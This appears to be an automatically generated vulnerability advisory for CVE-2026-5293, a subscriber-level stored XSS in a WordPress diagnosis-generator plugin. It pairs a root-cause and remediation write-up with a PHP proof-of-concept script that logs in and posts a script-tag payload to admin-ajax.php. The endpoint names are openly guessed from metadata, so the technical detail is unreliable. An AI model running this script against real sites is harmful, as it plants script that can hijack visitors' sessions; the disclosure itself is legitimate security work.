Atomic Edge Proof of Concept automated generator using AI diff analysis
Published : May 22, 2026

CVE-2026-5293: 診断ジェネレータ作成プラグイン <= 1.4.16 – Authenticated (Subscriber+) Stored Cross-Site Scripting via 'js' Parameter (os-diagnosis-generator)

CVE ID CVE-2026-5293
Plugin os-diagnosis-generator
Severity Medium (CVSS 6.4)
CWE 79
Vulnerable Version 1.4.16
Patched Version —
Disclosed May 18, 2026

Analysis Overview

Atomic Edge analysis of CVE-2026-5293 (metadata-based): This vulnerability affects the 診断ジェネレータ作成プラグイン (Diagnosis Generator) plugin for WordPress, version 1.4.16 and below. It is a stored cross-site scripting (XSS) vulnerability with a CVSS score of 6.4 (medium severity). An authenticated attacker with subscriber-level access can inject arbitrary JavaScript into theme files via the ‘js’ parameter. The injected script executes when a user views a page containing the diagnosis form shortcode.

The root cause, inferred from the CWE classification (CWE-79) and the vulnerability description, involves two distinct failures. First, the themeFunc() function, hooked to ‘admin_init’, processes theme update requests without capability checks. This means any authenticated user, including subscribers, can trigger the functionality. Second, the save() function uses stripslashes() which removes WordPress’s magic quotes protection, and the plugin lacks proper input sanitization. These findings are inferred from the metadata as no source code is available.

Exploitation requires authentication. An attacker logs in as a subscriber then sends a POST request to /wp-admin/admin-ajax.php or directly to a plugin endpoint. The request includes the ‘js’ parameter containing a malicious JavaScript payload, such as a script tag or event handler. The attacker also provides a theme parameter (likely ‘theme’ or similar) to target a writable theme file. The plugin saves the payload to the theme file without sanitization. The payload executes when any user (including administrators) visits a page embedding the diagnosis form shortcode.

Remediation requires the plugin developer to add capability checks in the themeFunc() function, ensuring only users with the ‘manage_options’ capability can update theme files. The plugin must implement proper input sanitization for the ‘js’ parameter, using WordPress functions like wp_kses() or sanitize_file_name() as appropriate. Using stripslashes() should be replaced with more secure data handling. Since no patched version is available, site administrators should disable the plugin or restrict subscriber capabilities.

The impact is moderate but significant. An attacker can execute arbitrary JavaScript in the context of a victim’s session when they view a page with the diagnosis form shortcode. This enables session hijacking, defacement, phishing for credentials, or redirecting users to malicious sites. The CVSS Confidentiality and Integrity impacts are rated Low, but the scope change (S:C) means the vulnerable component affects resources beyond its original scope. Privilege escalation is not directly possible, but the stored payload could lead to administrator-level compromise if exploited against an admin user.

Proof of Concept (PHP)

NOTICE :

This proof-of-concept is provided for educational and authorized security research purposes only.

You may not use this code against any system, application, or network without explicit prior authorization from the system owner.

Unauthorized access, testing, or interference with systems may violate applicable laws and regulations in your jurisdiction.

This code is intended solely to illustrate the nature of a publicly disclosed vulnerability in a controlled environment and may be incomplete, unsafe, or unsuitable for real-world use.

By accessing or using this information, you acknowledge that you are solely responsible for your actions and compliance with applicable laws.

 
PHP PoC 
// ==========================================================================
// Atomic Edge CVE Research | https://atomicedge.io
// Copyright (c) Atomic Edge. All rights reserved.
//
// LEGAL DISCLAIMER:
// This proof-of-concept is provided for authorized security testing and
// educational purposes only. Use of this code against systems without
// explicit written permission from the system owner is prohibited and may
// violate applicable laws including the Computer Fraud and Abuse Act (USA),
// Criminal Code s.342.1 (Canada), and the EU NIS2 Directive / national
// computer misuse statutes. This code is provided "AS IS" without warranty
// of any kind. Atomic Edge and its authors accept no liability for misuse,
// damages, or legal consequences arising from the use of this code. You are
// solely responsible for ensuring compliance with all applicable laws in
// your jurisdiction before use.
// ==========================================================================
// Atomic Edge CVE Research - Proof of Concept (metadata-based)
// CVE-2026-5293 - 診断ジェネレータ作成プラグイン <= 1.4.16 - Authenticated (Subscriber+) Stored XSS via 'js' Parameter

// Configuration
$target_url = 'http://example.com'; // Replace with the target WordPress site URL
$username = 'subscriber'; // Replace with subscriber-level credentials
$password = 'subscriber_password';

// Endpoint: Likely admin-ajax.php with action 'os_diagnosis_generator_update_theme' or similar
$ajax_url = $target_url . '/wp-admin/admin-ajax.php';
$login_url = $target_url . '/wp-login.php';

// Step 1: Authenticate as subscriber
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $login_url);
curl_setopt($ch, CURLOPT_POST, 1);
curl_setopt($ch, CURLOPT_POSTFIELDS, http_build_query([
    'log' => $username,
    'pwd' => $password,
    'rememberme' => 'forever',
    'wp-submit' => 'Log In'
]));
curl_setopt($ch, CURLOPT_COOKIEJAR, '/tmp/cookies.txt');
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_FOLLOWLOCATION, true);
curl_exec($ch);
curl_close($ch);

// Step 2: Craft XSS payload
$malicious_js = '</script><script>alert(1)</script>';

// Step 3: Send the exploit request
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $ajax_url);
curl_setopt($ch, CURLOPT_POST, 1);
curl_setopt($ch, CURLOPT_POSTFIELDS, http_build_query([
    'action' => 'os_diagnosis_generator_update_theme', // Inferred action name
    'theme' => 'diagnosis_theme', // Inferred theme parameter
    'js' => $malicious_js
]));
curl_setopt($ch, CURLOPT_COOKIEFILE, '/tmp/cookies.txt');
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
$response = curl_exec($ch);
curl_close($ch);

// Check response (optional)
echo "Exploit sent to $ajax_urln";
echo "Response: $responsen";

// Clean up cookie file
unlink('/tmp/cookies.txt');

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